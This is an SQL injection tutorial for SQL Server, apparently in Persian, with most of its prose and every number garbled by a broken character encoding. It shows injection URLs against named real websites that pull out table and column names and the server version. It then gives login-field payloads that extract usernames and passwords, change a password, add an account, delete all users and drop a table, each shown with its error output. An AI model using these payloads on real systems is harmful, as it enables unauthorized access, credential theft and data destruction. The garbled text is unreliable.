
SQL Injection (Lesson �)
(Using SQL Server)

σ΍�ί΍�ϥ΍ϮϨϋ�̨ϴϫ�ϪΑ�ϢҨήΑ�ϮϠΟ�ϝΎΜϣ�ΎΑ�ϩέ΍ήϗ�Ϫ̯�ϻΎΣ�ϢϨ̯�̶ϣ�ζϫ΍ϮΧ�ςϘϓ�̵έϮΠҨ�ϭ�ΪϴϨ̰ϧ�ϩΩΎϔΘγ΍�˯�Ϯγ�ϑΪϫ�̵ΎϬΘҨΎγ�ΕΎϋϼ
ϪηΎΑ�ϪΘη΍Ω�Ϫϣ΍Ω΍�ΎϬϟΎΜϣ�ϦҨ΍�ϭ�ϢηΎΒϧ�έΎθϓ�ΖΤΗ�ϢϨϣ�Ϫ̯�ϪηΎΑ�

αέΩ�ί΍�̶ҨΎϬϟΎΜϣ��)ϪηΎΑ�΢ϴοϮΗ�ϪΑ�̵ίΎϴϧ�ϢϨ̯�̶Ϥϧ�ή̰ϓ�

getting table names and column names

����ϑΪϫ�ΖϳΎγ�http://www.iribnews.ir/Full_fa.asp?news_id=��������������

http://www.iribnews.ir/Full_fa.asp?news_id='

Microsoft OLE DB Provider for SQL Server error '�����e��' 

Unclosed quotation mark before the character string ''. 

/Full_fa.asp, line ���

http://www.iribnews.ir/Full_fa.asp?news_id='%��'%��having%���=�--

Microsoft OLE DB Provider for SQL Server error '�����e��' 

Column 'iribnews_fa.Lead' is invalid in the select list because it is not contained in an aggregate function and there is no 
GROUP BY clause. 

/Full_fa.asp, line ���

iribnews_fa= the table name
Lead= the first column name

http://www.iribnews.ir/Full_fa.asp?news_id=''%��group%��by%��iribnews_fa.Lead%��having%���=�--
Microsoft OLE DB Provider for SQL Server error '�����e��' 

Column 'iribnews_fa.Title' is invalid in the select list because it is not contained in either an aggregate function or the 
GROUP BY clause. 

/Full_fa.asp, line ���

http://www.iribnews.ir/Full_fa.asp?news_id=''%��group%��by%��iribnews_fa.Lead,iribnews_fa.Title%
��having%���=�--
Microsoft OLE DB Provider for SQL Server error '�����e��' 

Column 'iribnews_fa.date' is invalid in the select list because it is not contained in either an aggregate function or the 
GROUP BY clause. 

/Full_fa.asp, line ���

Ϣϳέϭ΁�̶ϣ�ΖγΪΑ�΍έ�ΎϬϧϮΘγ�ϪΑ�ρϮΑήϣ�ΕΎϋϼσ΍�ΐϴΗήΗ�ϦϴϤϫ�ϪΑ
=>
iribnews_fa.Lead , iribnews_fa.Title , iribnews_fa.date , iribnews_fa.time , iribnews_fa.fa_date , iribnews_fa.news_num
iribnews_fa.Type , iribnews_fa.code , iribnews_fa.prm_news , iribnews_fa.sec_news , iribnews_fa.keyword ,
iribnews_fa.content , iribnews_fa.ext_link��, iribnews_fa.ext_link��, iribnews_fa.ext_link��, iribnews_fa.pic�_path ,
iribnews_fa.pic�_path , iribnews_fa.pic�_path , iribnews_fa.video , iribnews_fa.Audio�_path , iribnews_fa.Audio�_path ,
iribnews_fa.Audio�_path , iribnews_fa.Video�_path , iribnews_fa.Video�_path , iribnews_fa.Video�_path

getting column types

http://www.iribnews.ir/Full_fa.asp?news_id='%��'%��union%��select%��sum(title)%��from%��iribnews_fa--

http://www.iribnews.ir/Full_fa.asp?news_id='
http://www.iribnews.ir/Full_fa.asp?news_id='%��'%��having%���=�--
http://www.iribnews.ir/Full_fa.asp?news_id=''%��group%��by%��iribnews_fa.Lead%��having%���=�--
http://www.iribnews.ir/Full_fa.asp?news_id=''%��group%��by%��iribnews_fa.Lead,iribnews_fa.Title%


Microsoft OLE DB Provider for SQL Server error '�����e��' 

The sum or average aggregate operation cannot take a varchar data type as an argument. 

/Full_fa.asp, line ���

=> is non-numerical

ϩήΘϬΑ�Ϣϳήϧ�ήΗϮϠΟ�Ϧϳ΍�ί΍�Ϫ̴ϳΩ�ϝΎΜϣ�Ϧϳ΍�ϮΗ

έϭήγ�ΕΎϋϼσ΍�ϦΘϓή̳�̵΍ήΑ�ϝΎΜϣ�ϪҨ�ϢϨҨ΍�
getting the version number of server

http://www.abong.org.br/novosite/institucional/associadas_pagpubli�.asp?midia�
=Folhetos'%��UNION%��ALL%��SELECT%��null,null,null,
@@version,null,null,null,null,null,null,null,null,����--
Microsoft SQL Server �����- �.��.����(Intel X��) May ����������:��:���Copyright (c) ����-�����Microsoft Corporation 
Enterprise Edition on Windows NT �.��(Build ����: Service Pack �)

Θγ΍�Ϣϧϭ΍�ΪϴϨ̯�ϪΟϮΗ�ϪΘ̰ϧ�Ϫϳ�ϪΑ�ΪϳΎΑ�ΪϳΪΟ�αέΩ�ωϭήη�ί΍�ϞΒϗ�ϥΎΘγϭΩ�ΏϮΧ�ί΍�ϩΩΎϔProxy�ϊϗϮϣ�έΩ�injectϥΩή̯�,�̵΍ήΑ�έΎ̯�Ϧϳ΍�ΪόΑ�ϪΑ�ΎΠϨϳ΍�ί΍
Ϫϣίϻ�ϥΪϧϮϣ�αΎϨηΎϧ�
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ΎϨηΎϧ�Ϫ̳΍αϦϣ�ϢϬϣ�̶ϠϴΧ�ϥϮΗ΍ήΑ�ϥΪϧϮϣ��http://www.stayinvisible.com�ϢϨ̯�̶ϣ�ΩΎϬϨθϴ̡�ϪόϟΎτϣ�̵΍ήΑ�ϭέ�

�Ϣϫ�ϥϻ΍�Ύϣ�ΏϮΧtable names�Ϣϫ�ϭ�ϢҨέ΍Ω�ϭέcolumn names��ϭ�Ϣϫcolumn types�ϢϴϨ̯�̶ϣ�ωϭήη�β̡�

ΪϴϨ̯�νήϓ�
table names=users
column names=username , password

Getting Username & Password from table:

- Login: ' union select min (name), �,��from users where username > 'a';--

Microsoft OLE DB provider for ODBC driver error ������e���
[Microsoft][ODBC SQL server driver][SQL server] syntax error converting
the varchar value �ehsan�� to a column of data type int.
/login.asp, line ��

�ϪΑ�ϥ΍ϮΗ�̶ϣ�ϕϮϓ�έϮΘγΩ�ί΍�ϩΩΎϔΘγ΍�ΎΑusername�έΩ�ΩϮΟϮϣ�̵ΎϫdatabaseΩήΑ�̶̡��ehsan�

�ϥΩή̯�΍Ϊϴ̡�̵΍ήΑ�ϢϴϨ̯�̶ϣ�ϞϤϋ�ήҨί�ϖΑΎτϣ�ή̴ҨΩ�̵Ύϫ�έίϮҨ

- Login: ' union select min (name), �,��from users where username > 'ehsan�' ; --

Microsoft OLE DB provider for ODBC driver error ������e���
[Microsoft][ODBC SQL server driver][SQL server] syntax error converting
the varchar value �ahmadi� to a column of data type int.
/login.asp, line ��

�Ύϣ�ϥϻ΍�ΏϮΧusernameϢҨέ΍Ω�ϭέ���έϮΘγΩ�ί΍�ϢϴϧϮΗ�̶ϣ�ϢϫUPDATE��ϭ�ϢϴϨ̯�ϩΩΎϔΘγ΍password�ΎҨ�ϭ�ϢϴϨ̯�νϮϋ�ϭέ
ϢϴϨ̯�ϞϤϋ�ήҨί�ϖΑΎτϣ��έϮΘγΩ�UPDATEΩϮη�̶ϣ�ϩΩ΍Ω�΢ϴοϮΗ�Ϫϣ΍Ω΍�έΩ��

- Login: ' union select password, �,��from users where username ='ehsan�' ; --

Microsoft OLE DB provider for ODBC driver error ������e���
[Microsoft] [ODBC SQL Server Driver] [SQL Server] syntax error converting

http://www.abong.org.br/novosite/institucional/associadas_pagpubli�.asp?midia�


the character value �frft��� to a column of a data type Int.

�έΩ�ΖϗΩ�ΎΑError�ΩέϮδ̡��ϢϴϨ̯�̶ϣ�ϩΪϫΎθϣ�ϻΎΑ�ehsan��ήΑ΍ήΑ�frft��ΪηΎΑ�̶ϣ�

�Ϟ̯�Ϫθϴϣ�Ϫ̯�ϩέ΍Ω�ΩϮΟϭ�̶ҨΎϬϫ΍έ�ϪΘΒϟ΍username�ϭpassword�̵ΎϬγέΩ�έΩ�Ϫ̯�Ωή̯�ϩΪϫΎθϣ�ΎΠ̰Ҩ�ϭέ�
ϢҨί΍Ωή̡�̶ϣ�ϥ΁�ϪΑ�̵ΪόΑ�

�̵΍ήΑ�έΩ�ήψϧ�ΩέϮϣ�ήϳΩΎϘϣ�ήϴϴϐΗdatabaseέϮΘγΩ�ί΍��UPDATE�ϢϴϨ̯�̶ϣ�ϩΩΎϔΘγ΍�

- Login: ' UPDATE users set users.password = '��f�fk' where (users.username = 'ehsan�'); --
- Pass:

έίϮϳ�ΩέϮδ̡�ϻΎΑ�έϮΘγΩ�ί΍�ϩΩΎϔΘγ΍�ΎΑehsan��ϪΑ�ϭέ��f�fkϢϴϫΩ�̶ϣ�ήϴϴϐΗ��

Then Login with :

- Login: ehsan�
- Pass: ��f�fk

�έϮΘγΩ�ί΍�ϩΩΎϔΘγ΍�ΎΑINSERT���ϪΑ�ϭέ�ήψϧ�ΩέϮϣ�ήϳΩΎϘϣ�ΪϴϧϮΗ�̶ϣ�ΎϤηdatabaseΪϴϨ̯�ϪϓΎο΍�.

- Login: ' insert into users(users.username,users.password) values ('ali','������'); --
- Pass:�    

�Ϫϳ�ϢϴϧϮΗ�̶ϣ�ϻΎΑ�έϮΘγΩ�ί΍�ϩΩΎϔΘγ΍�ΎΑusername�Ϣγ΍�ϪΑ�ali�ΩέϮδ̡�ΎΑ�ϭ�������ϢϴϨ̯�ΩΎΠϳ΍��

Then Login with :

- Login: ali
- Pass: ������

�έϮΘγΩ�ί΍�ϩΩΎϔΘγ΍�ΎΑDelete�ί΍�ϭέ�ήψϧ�ΩέϮϣ�ήϳΩΎϘϣdatabaseϢϴϨ̯�̶ϣ�ϑάΣ�

- Login: ehsan�' delete from users; --
�έίϮϳ�ϕϮϓ�έϮΘγΩehsan�ΪϨ̯�̶ϣ�ϑάΣ�ϭέ�

�έϮΘγΩ�ί΍�ϩΩΎϔΘγ΍�ΎΑDrop�ϥ΍ϮΗ�̶ϣdatabaseΩή̯�ϑάΣ�ϭέ,ΩϮη�̶Ϥϧ�ϪϴλϮΗ�έϮΘγΩ�Ϧϳ΍�ί΍�ϩΩΎϔΘγ΍�ϪΘΒϟ΍�

- Login: ' drop table users; --

�ϪηΎΑ�ήμΘΨϣ�ϭ�Ϊϴϔϣ�ΐϟΎτϣ�ϡΩή̯�̶όγ��ΪϴϨ̯�ΩέϮΧήΑ�εΎϫΎΑ�ϪϨ̰Ϥϣ�Ϫ̯�Ζδϫ�Ε΍έϮΘγΩ�Ϧϳ΍�ϮΗ�̵έΎ̯�ϩΰϳέ�ΎΗΪϨ̩���̶όγ�ϩΪϨϳ΁�έΩ�ϝΎΣ�ήϫ�ϪΑ
�Ϣϫ�Ύϫ�̵έΎ̯�ϩΰϳέ�Ϧϳ΍�ϪΑ�ϢϨ̯�̶ϣϡί΍Ωή̢Α�

�
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